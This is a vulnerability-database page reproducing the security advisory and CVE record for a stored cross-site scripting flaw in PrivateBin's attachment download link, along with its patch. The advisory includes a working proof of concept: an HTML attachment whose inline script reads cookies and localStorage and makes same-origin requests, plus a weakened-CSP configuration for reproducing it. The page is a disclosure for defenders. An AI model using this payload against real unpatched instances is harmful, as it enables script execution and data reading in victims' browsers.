Vulnerability-Lookup

GHSA-F2XF-7X3G-4272

Vulnerability from github – Published: 2026-08-28 20:22 – Updated: 2026-08-28 20:23

Summary

PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction

Details

Summary

Stored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a text/html attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the "Download attachment" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch).

This is an incomplete fix of CVE-2022-24833. The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a text/html (or image/svg) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process.

Instances using the default recommended CSP are protected (the blob inherits script-src 'self', blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.

Requires fileupload = true (non-default) and a non-recommended CSP configuration.

Details

In js/privatebin.js, the function AttachmentViewer.setAttachment (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server.

Root cause 1: MIME-gated sanitization (line 3017)

DOMPurify sanitization only triggers when the MIME type matches /^image\/.*svg/i. Any other active content type (such as text/html, application/xhtml+xml, text/xml) completely bypasses sanitization.

// js/privatebin.js:3017-3023
if (mimeType.match(/^image\/.*svg/i)) {          // only SVG is considered
    const sanitizedData = DOMPurify.sanitize(
        decodedData,
        purifySvgConfig
    );
    blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only
}

Root cause 2: download link always points to unsanitized blob (line 3002)

The "Download attachment" link's href is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable blobUrl that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.

// js/privatebin.js:3001-3002
let blobUrl = getBlobUrl(decodedData, mimeType);   // unsanitized blob
attachmentLink.attr('href', blobUrl);              // download link set HERE (never updated)

Root cause 3: MIME type is fully attacker-controlled

The MIME type is extracted from the decrypted data URI at line 3211-3217 via getAttachmentMimeType, which simply reads the substring between data: and ; in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a Blob with that exact Content-Type at line 2963-2967 via getBlobUrl.

Attack flow:

Attacker creates a paste with an attached .html file. The client encodes it as data:text/html;base64,... and encrypts it.
Victim opens the paste URL. decryptPaste (line 5387-5397) decrypts the message and calls setAttachment with the attacker's data URI.
setAttachment creates a same-origin blob:http://instance/... with Content-Type: text/html containing the attacker's HTML+script. This blob is assigned to the "Download attachment" link's href without any sanitization.
Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript.

Relation to CVE-2022-24833:

The 2022 advisory claimed: "whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized." This doesn't hold because: - The download link's blob is never sanitized (only the preview blob is). - The advisory's safety argument for the download link ("opens from file:// protocol") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin blob: URL instead.

Proof of concept

Environment: - PrivateBin commit 597a6f0d (version 2.0.4+) - PHP 8.x with built-in server - Chromium-based browser (tested in Playwright/Chromium)

Step 1: Set up a vulnerable instance

git clone https://github.com/PrivateBin/PrivateBin.git
cd PrivateBin
git checkout 597a6f0d
mkdir -p data

Create cfg/conf.php with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory).

For example, here is a basic config:

[main]
fileupload = true
cspheader = "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:"
httpwarning = false

[expire]
default = "1week"

[expire_options]
5min = 300
10min = 600
1hour = 3600
1day = 86400
1week = 604800
1month = 2592000
1year = 31536000
never = 0

[formatter_options]
plaintext = "Plain Text"
syntaxhighlighting = "Source Code"
markdown = "Markdown"

[traffic]
limit = 0

[purge]
limit = 300
batchsize = 10

[model]
class = "Filesystem"

[model_options]
dir = "data"

Start the server:

php -S 127.0.0.1:8099

Step 2: Prepare the payload file

Save as xss-attachment.html:

<!DOCTYPE html>
<html>
<head><title>benign</title></head>
<body>
<h1>just a harmless document</h1>
<script>
  document.title = 'XSS:' + document.domain;
  document.body.style.background = '#c00';
  document.body.style.color = '#fff';
  document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin +
            '<br>protocol = ' + location.protocol +
      '<br>cookies = ' + JSON.stringify(document.cookie) +
      '<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>';
  // prove same-origin capability
  fetch(location.origin + '/?jsonld=paste', { credentials: 'include' })
    .then(r => r.text())
    .then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>');
</script>
</body>
</html>

grafik

Optionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a lang cookie.)

Step 3: Attacker creates the paste

Browse to http://127.0.0.1:8099/
Type any text in the document area (e.g., "Quarterly report attached. Open the Download attachment link to view it.")
Click Attach a file and select xss-attachment.html. The browser detects the file type as text/html, so the client produces attachment = ["data:text/html;base64,..."].
Click Create. Copy the resulting paste URL.

Step 4: Victim opens the paste

Open the paste URL in a browser. The paste decrypts and renders: "Download attachment (xss-attachment.html, ...)" with a blob: link.
Right-click the "Download attachment" link and select Open in new tab (or middle-click).

Step 5: Observe XSS execution

The new tab opens at blob:http://127.0.0.1:8099/... with: - Page title: XSS:127.0.0.1 (set by attacker script) - Red background with XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = "", localstorage = ... - A same-origin fetch to the backend that returns real data (proving full origin access)

grafik

Negative control (default CSP):

Change cspheader in cfg/conf.php back to the recommended default:

cspheader = "default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src * blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads"

Restart the server and open the same paste. The blob navigation now inherits script-src 'self' from the page CSP, blocking inline script execution. The browser console shows: "Executing inline script violates the following Content Security Policy directive 'script-src 'self' 'wasm-unsafe-eval''". The page title stays "benign" (script didn't run).

Impact

Who is impacted: Self-hosted PrivateBin instances that have both: 1. File upload enabled (fileupload = true, default is false) 2. A Content-Security-Policy that doesn't restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)

The CVE-2022-24833 advisory documented that such instances exist in the wild. Instances using PrivateBin's default recommended CSP are not affected.

What can an attacker do: - Execute arbitrary JavaScript in the PrivateBin instance's web origin. - Read localStorage and potentially other locally stored data (IndexDB, etc.) for that origin. - Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.

What an attacker cannot do: - Exploit instances with the default recommended CSP (inline scripts are blocked in the blob). - Exploit instances that don't have file upload enabled. - Execute without victim interaction (the victim must open the attachment link in a new tab). - Cookie access could not be confirmed (see screenshot above), as these seem to be separated differently. - Access to the opener via window.opener.document (same origin) could not be confirmed. (The link is just not opened via window.open or similar)

That said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.

Patches

To fix the problem, we took the following measures: * Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with application/octet-stream for the download link. This causes the browser to always download the file – even if the user triggered a „Open in new tab“ action – with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.

Timeline

2026-06-11 – Received report via GitHub Security Advisory by the reporter.
2026-06-11 – Report gets reviewed and discussed with the initial reporter.
2026-06-13 – Vulnerability gets reproduced and patch is being developed.
2026-06-14 – Patch gets reviewed.
2026-06-1X – Patch gets merged
2026-06-1X – New PrivateBin release is published.
2026-06-XX – Vulnerability details published.

Credits

This vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we'd like to thank for that. In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.

If you think you have found a vulnerability or potential security risk, we'd kindly ask you to follow our security policy and report it to us. We then assess the report and will take the actions we deem necessary to address it.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "privatebin/privatebin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T20:22:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nStored cross-site scripting (XSS) in PrivateBin\u0027s attachment download link. An anonymous attacker can create a paste with a **text/html** attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the \"Download attachment\" link in a new tab, the attacker\u0027s inline JavaScript executes in the PrivateBin instance\u0027s origin with full same-origin capability (cookie/localStorage access, same-origin fetch).\n\nThis is an incomplete fix of [CVE-2022-24833](https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw). The original fix only applies to the inline preview blob (in case of SVG), never to the download link\u0027s blob. Thus a **text/html** (or **image/svg**) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don\u0027t enforce the recommended Content-Security-Policy, but with a slightly different attack process.\n\nInstances using the default recommended CSP are protected (the blob inherits **script-src \u0027self\u0027**, blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.\n\nRequires **fileupload = true** (non-default) and a non-recommended CSP configuration.\n\n### Details\n\nIn **js/privatebin.js**, the function **AttachmentViewer.setAttachment** (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can\u0027t be inspected or sanitized by the server.\n\n**Root cause 1: MIME-gated sanitization (line 3017)**\n\nDOMPurify sanitization only triggers when the MIME type matches **/^image\\/.\\*svg/i**. Any other active content type (such as **text/html**, **application/xhtml+xml**, **text/xml**) completely bypasses sanitization.\n\n```js\n// js/privatebin.js:3017-3023\nif (mimeType.match(/^image\\/.*svg/i)) {          // only SVG is considered\n    const sanitizedData = DOMPurify.sanitize(\n        decodedData,\n        purifySvgConfig\n    );\n    blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only\n}\n```\n\n**Root cause 2: download link always points to unsanitized blob (line 3002)**\n\nThe \"Download attachment\" link\u0027s **href** is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable **blobUrl** that\u0027s consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.\n\n```js\n// js/privatebin.js:3001-3002\nlet blobUrl = getBlobUrl(decodedData, mimeType);   // unsanitized blob\nattachmentLink.attr(\u0027href\u0027, blobUrl);              // download link set HERE (never updated)\n```\n\n**Root cause 3: MIME type is fully attacker-controlled**\n\nThe MIME type is extracted from the decrypted data URI at line 3211-3217 via **getAttachmentMimeType**, which simply reads the substring between **data:** and **;** in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a **Blob** with that exact **Content-Type** at line 2963-2967 via **getBlobUrl**.\n\n**Attack flow:**\n\n1. Attacker creates a paste with an attached **.html** file. The client encodes it as **data:text/html;base64,...** and encrypts it.\n2. Victim opens the paste URL. **decryptPaste** (line 5387-5397) decrypts the message and calls **setAttachment** with the attacker\u0027s data URI.\n3. **setAttachment** creates a same-origin **blob:http://instance/...** with **Content-Type: text/html** containing the attacker\u0027s HTML+script. This blob is assigned to the \"Download attachment\" link\u0027s **href** without any sanitization.\n4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance\u0027s origin, executing the attacker\u0027s inline JavaScript.\n\n**Relation to CVE-2022-24833:**\n\nThe [2022 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) claimed: *\"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized.\"* This doesn\u0027t hold because:\n- The download link\u0027s blob is never sanitized (only the preview blob is).\n- The advisory\u0027s safety argument for the download link (\"opens from file:// protocol\") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin **blob:** URL instead.\n\n### Proof of concept\n\n**Environment:**\n- PrivateBin commit **597a6f0d** (version 2.0.4+)\n- PHP 8.x with built-in server\n- Chromium-based browser (tested in Playwright/Chromium)\n\n**Step 1: Set up a vulnerable instance**\n\n```bash\ngit clone https://github.com/PrivateBin/PrivateBin.git\ncd PrivateBin\ngit checkout 597a6f0d\nmkdir -p data\n```\n\nCreate **cfg/conf.php** with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn\u0027t enforced, as documented in the original CVE-2022-24833 advisory).\n\nFor example, here is a basic config:\n```ini\n[main]\nfileupload = true\ncspheader = \"default-src * \u0027unsafe-inline\u0027 \u0027unsafe-eval\u0027 data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:\"\nhttpwarning = false\n\n[expire]\ndefault = \"1week\"\n\n[expire_options]\n5min = 300\n10min = 600\n1hour = 3600\n1day = 86400\n1week = 604800\n1month = 2592000\n1year = 31536000\nnever = 0\n\n[formatter_options]\nplaintext = \"Plain Text\"\nsyntaxhighlighting = \"Source Code\"\nmarkdown = \"Markdown\"\n\n[traffic]\nlimit = 0\n\n[purge]\nlimit = 300\nbatchsize = 10\n\n[model]\nclass = \"Filesystem\"\n\n[model_options]\ndir = \"data\"\n```\n\nStart the server:\n\n```bash\nphp -S 127.0.0.1:8099\n```\n\n**Step 2: Prepare the payload file**\n\nSave as **xss-attachment.html**:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003ebenign\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003ejust a harmless document\u003c/h1\u003e\n\u003cscript\u003e\n  document.title = \u0027XSS:\u0027 + document.domain;\n  document.body.style.background = \u0027#c00\u0027;\n  document.body.style.color = \u0027#fff\u0027;\n  document.body.innerHTML = \u0027\u003ch1\u003eXSS EXECUTED\u003cbr\u003eorigin = \u0027 + location.origin +\n\t\t\t\u0027\u003cbr\u003eprotocol = \u0027 + location.protocol +\n      \u0027\u003cbr\u003ecookies = \u0027 + JSON.stringify(document.cookie) +\n      \u0027\u003cbr\u003elocalStorage = \u0027 + JSON.stringify(localStorage) + \u0027\u003c/h1\u003e\u0027;\n  // prove same-origin capability\n  fetch(location.origin + \u0027/?jsonld=paste\u0027, { credentials: \u0027include\u0027 })\n    .then(r =\u003e r.text())\n    .then(t =\u003e document.body.innerHTML += \u0027\u003cpre\u003esame-origin fetch returned \u0027 + t.length + \u0027 bytes\u003c/pre\u003e\u0027);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"2217\" height=\"888\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85\" /\u003e\n\nOptionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.)\n\n**Step 3: Attacker creates the paste**\n\n1. Browse to **http://127.0.0.1:8099/**\n2. Type any text in the document area (e.g., \"Quarterly report attached. Open the Download attachment link to view it.\")\n3. Click **Attach a file** and select **xss-attachment.html**. The browser detects the file type as **text/html**, so the client produces **attachment = [\"data:text/html;base64,...\"]**.\n4. Click **Create**. Copy the resulting paste URL.\n\n**Step 4: Victim opens the paste**\n\n1. Open the paste URL in a browser. The paste decrypts and renders: \"Download attachment (xss-attachment.html, ...)\" with a **blob:** link.\n2. Right-click the \"Download attachment\" link and select **Open in new tab** (or middle-click).\n\n**Step 5: Observe XSS execution**\n\nThe new tab opens at **blob:http://127.0.0.1:8099/...** with:\n- Page title: **XSS:127.0.0.1** (set by attacker script)\n- Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = \"\", localstorage = ...` \n- A same-origin fetch to the backend that returns real data (proving full origin access)\n\n\u003cimg width=\"2208\" height=\"856\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0\" /\u003e\n\n**Negative control (default CSP):**\n\nChange **cspheader** in **cfg/conf.php** back to the recommended default:\n\n```ini\ncspheader = \"default-src \u0027none\u0027; base-uri \u0027self\u0027; form-action \u0027none\u0027; manifest-src \u0027self\u0027; connect-src * blob:; script-src \u0027self\u0027 \u0027wasm-unsafe-eval\u0027; style-src \u0027self\u0027; font-src \u0027self\u0027; frame-ancestors \u0027none\u0027; frame-src blob:; img-src \u0027self\u0027 data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads\"\n```\n\nRestart the server and open the same paste. The blob navigation now inherits **script-src \u0027self\u0027** from the page CSP, blocking inline script execution. The browser console shows: *\"Executing inline script violates the following Content Security Policy directive \u0027script-src \u0027self\u0027 \u0027wasm-unsafe-eval\u0027\u0027\"*. The page title stays \"benign\" (script didn\u0027t run).\n\n### Impact\n\n**Who is impacted:**\nSelf-hosted PrivateBin instances that have **both**:\n1. File upload enabled (**fileupload = true**, default is **false**)\n2. A Content-Security-Policy that doesn\u0027t restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)\n\nThe [CVE-2022-24833 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) documented that such instances exist in the wild. Instances using PrivateBin\u0027s default recommended CSP are **not affected**.\n\n**What can an attacker do:**\n- Execute arbitrary JavaScript in the PrivateBin instance\u0027s web origin.\n- Read **localStorage** and potentially other locally stored data (IndexDB, etc.) for that origin. \n- Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.\n\n**What an attacker _cannot_ do:**\n- Exploit instances with the default recommended CSP (inline scripts are blocked in the blob).\n- Exploit instances that don\u0027t have file upload enabled.\n- Execute without victim interaction (the victim must open the attachment link in a new tab).\n- Cookie access could _not_ be confirmed (see screenshot above), as these seem to be [separated differently](https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy#cross-origin_data_storage_access).\n- Access to the opener via **window.opener.document** (same origin) could not be confirmed. (The link is just not opened via `window.open` or similar)\n\nThat said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.\n\n## Patches\n\nTo fix the problem, we took the following measures:\n* Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with `application/octet-stream` for the download link. This causes the browser to always download the file \u2013 even if the user triggered a \u201eOpen in new tab\u201c action \u2013 with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.\n\n## Timeline\n\n* 2026-06-11 \u2013 Received report via GitHub Security Advisory by the reporter.\n* 2026-06-11 \u2013 Report gets reviewed and discussed with the initial reporter.\n* 2026-06-13 \u2013 Vulnerability gets reproduced and patch is being developed.\n* 2026-06-14 \u2013 Patch gets reviewed.\n* 2026-06-1X \u2013 Patch gets merged\n* 2026-06-1X \u2013 New PrivateBin release is published.\n* 2026-06-XX \u2013 Vulnerability details published.\n\n## Credits\n\nThis vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we\u0027d like to thank for that.\nIn general, we\u0027d like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we\u0027d kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.",
  "id": "GHSA-f2xf-7x3g-4272",
  "modified": "2026-08-28T20:23:00Z",
  "published": "2026-08-28T20:22:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrivateBin/PrivateBin/commit/e0dd4c025c19a182b6a4c6fb77a8bf81ceff6899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrivateBin/PrivateBin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction"
}

CVE-2026-55696 (GCVE-0-2026-55696)

Vulnerability from cvelistv5 – Published: 2026-08-28 20:20 – Updated: 2026-08-28 20:20

Title

PrivateBin: Stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction

Summary

PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Prior to 2.0.5, AttachmentViewer.setAttachment in js/privatebin.js uses getAttachmentMimeType to accept attacker-controlled MIME types and uses getBlobUrl to create a same-origin blob before setting attachmentLink's href for the Download attachment link. The SVG-only sanitization branch updates only the preview blob, so text/html, image/svg, application/xhtml+xml, and text/xml attachments can remain active in the download blob. On an instance with fileupload = true and a weakened, stripped, or absent Content Security Policy, an anonymous attacker can create such an attachment, and a victim who opens the link in a new tab causes inline JavaScript to execute in the PrivateBin origin. The script can read origin-scoped local storage and issue same-origin requests, including requests to applications co-hosted on the same domain. This issue is fixed in version 2.0.5.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/PrivateBin/PrivateBin/security…	x_refsource_CONFIRM
https://github.com/PrivateBin/PrivateBin/commit/7…	x_refsource_MISC
https://github.com/PrivateBin/PrivateBin/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
PrivateBin	PrivateBin	Affected: < 2.0.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PrivateBin",
          "vendor": "PrivateBin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Prior to 2.0.5, AttachmentViewer.setAttachment in js/privatebin.js uses getAttachmentMimeType to accept attacker-controlled MIME types and uses getBlobUrl to create a same-origin blob before setting attachmentLink\u0027s href for the Download attachment link. The SVG-only sanitization branch updates only the preview blob, so text/html, image/svg, application/xhtml+xml, and text/xml attachments can remain active in the download blob. On an instance with fileupload = true and a weakened, stripped, or absent Content Security Policy, an anonymous attacker can create such an attachment, and a victim who opens the link in a new tab causes inline JavaScript to execute in the PrivateBin origin. The script can read origin-scoped local storage and issue same-origin requests, including requests to applications co-hosted on the same domain. This issue is fixed in version 2.0.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-80",
              "description": "CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T20:20:53.934Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272"
        },
        {
          "name": "https://github.com/PrivateBin/PrivateBin/commit/7f1f40853efe0eb12db9cc4a30ea8524ac00f423",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PrivateBin/PrivateBin/commit/7f1f40853efe0eb12db9cc4a30ea8524ac00f423"
        },
        {
          "name": "https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5"
        }
      ],
      "source": {
        "advisory": "GHSA-f2xf-7x3g-4272",
        "discovery": "UNKNOWN"
      },
      "title": "PrivateBin: Stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55696",
    "datePublished": "2026-08-28T20:20:53.934Z",
    "dateReserved": "2026-06-17T00:13:10.650Z",
    "dateUpdated": "2026-08-28T20:20:53.934Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-F2XF-7X3G-4272

Summary

Details

Proof of concept

Impact

Patches

Timeline

Credits

CVE-2026-55696 (GCVE-0-2026-55696)

Tags

Sightings

Nomenclature